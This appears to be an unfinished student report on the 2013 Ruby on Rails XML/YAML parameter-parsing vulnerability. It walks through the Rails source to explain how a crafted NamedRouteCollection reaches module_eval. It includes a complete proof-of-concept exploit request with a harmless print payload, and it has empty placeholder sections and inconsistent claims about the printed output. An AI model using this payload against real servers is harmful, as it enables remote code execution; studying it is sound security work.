Ruby on Rails parsing vulnerabilities

Oscar Söderlund & Anders Larsson

Background

> *You want to enjoy life, don't you? If you get your job done quickly and your job is fun, that's good isn't it?*
>
> Yukihiro Matsumoto (creator of Ruby)

Ruby is a high level general purpose language that is often described as fun and productive to program in. The question is, however, does this fun and productivity come at a price? Your job isn't so fun once the security implications come back to haunt you.

Ruby on Rails is as of today one of the most popular frameworks for web application development. As the name suggests, it is implemented in Ruby.

In February 2013, a critical vulnerability in the Ruby on Rails parameter parsing cababilities was discovered. This vulnerability, which among other things enabled remote code execution, has been called "the worst security issue that the Rails platform has seen to date".

This report aims to investigate this vulnerability, and draw conclusions about what may have been the leading causes to its existence.

The Ruby programming language

Ruby is a high-level language, created by Yukihiro Matsumoto for the purpose of making programming fun and productive. As of today, it is the second most popular language on GitHub, and is often attributed as a language especially suited to web programming.

Syntax and features

Ruby is an object oriented language, with a rich feature set and native syntactic support for data structures such as arrays and hashes. The design goal of Ruby, to make programming fun, has resulted in a very rich and expressive syntax, which in many cases reads almost like natural language.

Metaprogramming

A notable language feature of Ruby is its fundamental support for metaprogramming, which among other things enables the definition of new classes and methods during runtime. The cornerstone of this feature is the support for runtime evaluation of code. Apart from the `eval` function provided by most popular scripting languages, Ruby also provides `instance_eval`, `class_eval`, and `module_eval` for evaluating code in the context of a given object, class or module.

The Ruby on Rails web application framework

Ruby on Rails, often referred to as Rails or RoR, is a web application development framework for Ruby.

The design of the framework is heavily inspired by the Model-View-Controller pattern.

An essential building block of Rails application are models. Models are ruby classes that persist to and act on data in the application database. Rails models follow the common pattern of mapping classes to database tables, and objects to database rows.

If models are used to model domain logic in a Rails application, then controllers are most certainly used to define server logic and request handling. Controllers are basically classes that define handlers for incoming requests to different URL:s. It is common to define a separate controller method for every HTTP route that the application responds to.

Which route is handled by which controller is decided by the Rails router. The router basically defines the mapping between different routes and their respective controller method handlers.

Views in Rails work like in most other web application frameworks and are of no concern to us.

(routes)

(controllers)

(middleware)

YAML

What It Is: YAML is a human friendly data serialization standard for all programming languages.

As explained on the official homepage, YAML is a markup language for describing serialized data that is designed to be human-readable.

Among other things, YAML has syntactic support for arrays and hashes, but also native objects.

YAML is programming language agnostic, but has built in features for describing objects. For example, a simple Ruby object can be described in YAML as:

!ruby/object:Foo bar: baz

This is equivalent to an object of class `Foo`, which has a property `bar` with the value `baz`.

Ruby provides tools for deserializing serialized YAML objects during runtime, using the method `YAML::load`. Calling `YAML::load` with our `Foo` object would result in a Foo object being instantiated.

Since YAML:s syntactic support for data structures and objects matches that of Ruby, it has become something of a de facto serialization format within the Ruby community.

Exploit

"There are multiple weaknesses in the parameter parsing code for Ruby on Rails which allows attackers to bypass authentication systems, inject arbitrary SQL, inject and execute arbitrary code, or perform a DoS attack on a Rails application." - Aaron Patterson, a developer for Ruby on Rails

The exploit was first described in a post[1] by Aaron Patterson in January 2013. Because of the severity of the problems found he suggests that applications

running an affected release should be upgraded or fixed immediately. The post suggests different fixes depending on RoR version and what modules the application uses. One fix is to disable YAML type conversion when parsing XML.

Many articles have been written on the subject after the initial post such as [2], [3], [4]. [^3] talks about how the exploit affects websites using RoR and even those that is connected to one, since a compromised server could be used by an attacker to perform cross-site scripting. The article also mentions that almost all servers running a RoR application at the time was affected, which yields how massive impact it had on the RoR community and ultimately on the future of RoR.

Goal

To examine the exploit by identifying what makes it possible and what have been done on later patches to avoid it, while also considering one of Ruby on Rails leading design paradigm “convention over configuration” and its benefits and drawbacks.

Method

In order to examine the exploit in detail one will need an environment which is vulnerable to the exploit. A proof of concept exploit can then be set up to show what is actually possible to do on the server. Now follows a more detailed plan on how a vulnerable system will be configured and analyzed.

Construct a vulnerable environment

According to the post[^1] on Google Groups by Aaron Patterson, the versions which are not vulnerable to the exploit are 3.2.11, 3.1.10, 3.0.19 and 2.3.15 and all others would be vulnerable. Another article[5] on the subject points out that the version of Ruby needs to be higher than 1.9.2. The current version of Ruby is 1.9.3, so that would be the preferred choice. All that is needed for the exploit to work is a running environment of RoR with one of the above mentioned versions and that the Ruby language with version 1.9.3 is installed - all vulnerable classes and tools are included. Also, Git will be used to assist when working with the

system.

Create a proof of concept exploit

In order to create a proof of concept exploit the different parts of the exploit need to be identified and verified to work on the chosen environment. Information on all steps that is needed will be gathered from articles and discussion such as [^2].

Analyze the exploit

After the proof of concept exploit is constructed, the different parts of it will be analyzed in order to receive deeper knowledge on the subject.

Analyze the vulnerable code

The vulnerable code will be analyzed and ultimately answer the question on how the exploit is possible. This is a natural step after going through the proof of concept exploit since the it is heavily dependent on the code it exploits.

Analyze the security patches

To answer the question on what have been done to avoid this exploit some of the security patches will be analysed. By running the command 'git diff v3.2.10 v3.2.11' one can identify all parts of the code that have been changed between two versions, in this case 3.2.10 and 3.2.11. This will help in finding out what the security team of RoR have done to stop the attack and maybe also if they have tracked down similar issues.

Results

The vulnerable environment

Links to our repository and information on that

Proof of concept exploit

Analysis

Analysis of exploit

Our final exploit payload looks like this in its entirety:

```
POST /index.html HTTP/1.1
Host: localhost
Content-Type: text/xml
X-HTTP-Method-Override: GET

<?xml version="1.0" encoding="UTF-8"?>
<exploit type="yaml">---
!ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
? ! 'foo

  (100.times { puts ''hej'' }; @executed = true) unless @executed

  __END__

'
: !ruby/struct
  defaults:
    :action: create
    :controller: foos
  required_parts: []
  requirements:
    :action: create
    :controller: foos
  segment_keys:
    - :format</exploit>
```

We will now make sense of it by picking it apart and analyzing the individual components.

First off, we see that we are dealing with a POST-request, with the exploit payload contained in the body. The payload is meant to be parsed as XML, which is the reason for the content-type header:

Content-Type: text/xml

By default, Rails does not handle POST-requests unless explicitly told so on a specific route. This means that our payload will not be parsed unless we can find a route on the server that accepts POST requests. Although this might not be hard on most servers, we can make it even easier by simply overriding the POST

request to be handled as a GET request. This is the reason for the header:

X-HTTP-Method-Override: GET

Our payload in the request body is an XML-document consisting of one `<exploit>` tag. By adding a type property, we can make Rails delegate the content of this tag tag to its YAML-parser:

```
<exploit type="yaml">
```

Next follows the YAML-part of our payload, which in all its entirety describes a serialized instance of the Rails class `NamedRouteCollection`.

```
---
!ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection
```

The next part is where the fun begins. Our serialized NamedRouteCollection has one key value mapping with the key:

```
'foo

  (100.times { puts ''hej'' }; @executed = true) unless @executed

  __END__
'
```

and the value:

```
!ruby/struct
  defaults:
    :action: create
    :controller: foos
  required_parts: []
  requirements:
    :action: create
    :controller: foos
  segment_keys:
    - :format
```

It is apparent that our exploit code is contained within the key that maps to a ruby struct. This struct contains a seemingly arbitrary set of properties. What these properties mean and how the code in the key can end up being evaluated will be apparent upon analysis of the vulnerable code that processes this request.

Analysis of vulnerable code

How every request is handled by Rails is determined by the router, which maps URLs to controller method handlers. As we will see however, our request will

never reach a handler before the code in our payload is executed.

Since the exploit will work on any route that responds to GET-requests, we will consider the following route:

```
root :to => "application#index"
```

This means that the root route of our application will be handled by the index method in the `Application` controller.

Before calling the index method, however, the request will be routed through all of Rails middleware. A default Rails application comes with middleware for automatically parsing HTTP-parameters and taking appropriate action when certain parameters are encountered.

If we look at the source of this parameter parser, we see that the vulnerable version of Rails defines two default parsers:

```
# actionpack/lib/action_dispatch/middleware/params_parser.rb

DEFAULT_PARSERS = {
      Mime::XML => :xml_simple,
      Mime::JSON => :json
}
```

And when the Content-Type of the header is set to XML, the Rails XML parser will be called to parse the body of the request:

```
mime_type = content_type_from_legacy_post_data_format_header(env) ||
  request.content_mime_type
strategy = @parsers[mime_type]
return false unless strategy
case strategy
when Proc
  strategy.call(request.raw_post)
when :xml_simple, :xml_node
  data = Hash.from_xml(request.body.read) || {}
```

We now know that our incoming request will cause the class method `from_xml` of the class `Hash` to be called with the request body as parameter.

A short look at `from_xml` reveals that it simply delegates to Rails built in XML parser, `XmlMini`.

```
# activesupport/lib/active_support/core_ext/hash/conversions.rb

def from_xml(xml)
  typecast_xml_value(
    unrename_keys(ActiveSupport::XmlMini.parse(xml))
  )
end
```

To understand how the XML parser results in the contents of the `<exploit>` tag

to be parsed by the YAML parser, we look inside the source of `XmlMini`.

```
activesupport/lib/active_support/xml_mini.rb

FORMATTING = {
      "symbol"   => Proc.new { |symbol| symbol.to_s },
      "date"     => Proc.new { |date| date.to_s(:db) },
      "datetime" => Proc.new { |time| time.xmlschema },
      "binary"   => Proc.new { |binary| ::Base64.encode64(binary) },
      "yaml"     => Proc.new { |yaml| yaml.to_yaml }
    } unless defined?(FORMATTING)

formatted_value = FORMATTING[type_name] && !value.nil? ?
  FORMATTING[type_name].call(value) : value
```

We see that for any XML tag with the `type` attribute set to `yaml`, the XML parser will delegate parsing of the tag body to the `to_yaml` method, which is a general method defined on the `Object` class, and thus available on all objects.

Once our payload reaches the `to_yaml` method, an object of class `NamedRouteCollection` will be instantiated by the YAML parser.

Now recall that the `NamedRouteCollection` in our payload had one key-value mapping defined. After instantiation, the YAML-parser will attempt to assign this key-value mapping by calling the `[]=` method on our object.

By looking at the source code for `NamedRouteCollection` we see that `[]=` is aliased to the `add` method:

```
actionpack/lib/action_dispatch/routing/route_set.rb

class NamedRouteCollection

def add(name, route)
  routes[name.to_sym] = route
  define_named_route_methods(name, route)
end

alias []= add
```

We can now conclude that our malicious code, which was the key in the key-value mapping, will reside in the name variable.

Without going into too much much detail, we state that the reason for the seemingly arbitrary properties on the `struct` object that now resides in the `route` variable is that the `routes[name.to_sym] = route` method would fail if `route` did not have certain properties defined.

We are now very close to having our malicious code executed. We need only follow the call chain for `define_named_route_methods`, which ends up in the `define_hash_access` method.

```
def define_hash_access(route, name, kind, options)
          selector = hash_access_name(name, kind)

# We use module_eval to avoid leaks
@module.module_eval <<-END_EVAL, __FILE__, __LINE__ + 1
  remove_possible_method :#{selector}
  def #{selector}(*args)

def hash_access_name(name, kind = :url)
           :"hash_for_#{name}_#{kind}"
         end
```

With our malicious code still in the `name` variable, the call to `module_eval` will look something like this with the string interpolations evaluated:

```
@module.module_eval <<-END_EVAL, __FILE__, __LINE__ + 1
  remove_possible_method :hash_for_foo; puts "hello"
__END__
```

The result being `foo` printed to the standard out of the running server. The `puts "hello"` part could however have been much more malicious, had we wanted it to.

We have thus successfully achieved arbitrary code execution.

Analysis of security patches

Conclusions

?Future of rails or the type of frameworks such as rails?

Secure by default ### Make it simple for the user by default

1. https://groups.google.com/forum/#!topic/rubyonrails-security/61bkgvnSGTQ/discussion↩
2. http://www.kalzumeus.com/2013/01/31/what-the-rails-security-issue-means-for-your-startup/↩
3. http://blog.codeclimate.com/blog/2013/01/10/rails-remote-code-execution-vulnerability-explained/↩

4. http://rubysource.com/anatomy-of-an-exploit-an-in-depth-look-at-the-rails-yaml-vulnerability/↩

5. http://ronin-ruby.github.io/blog/2013/01/09/rails-pocs.html↩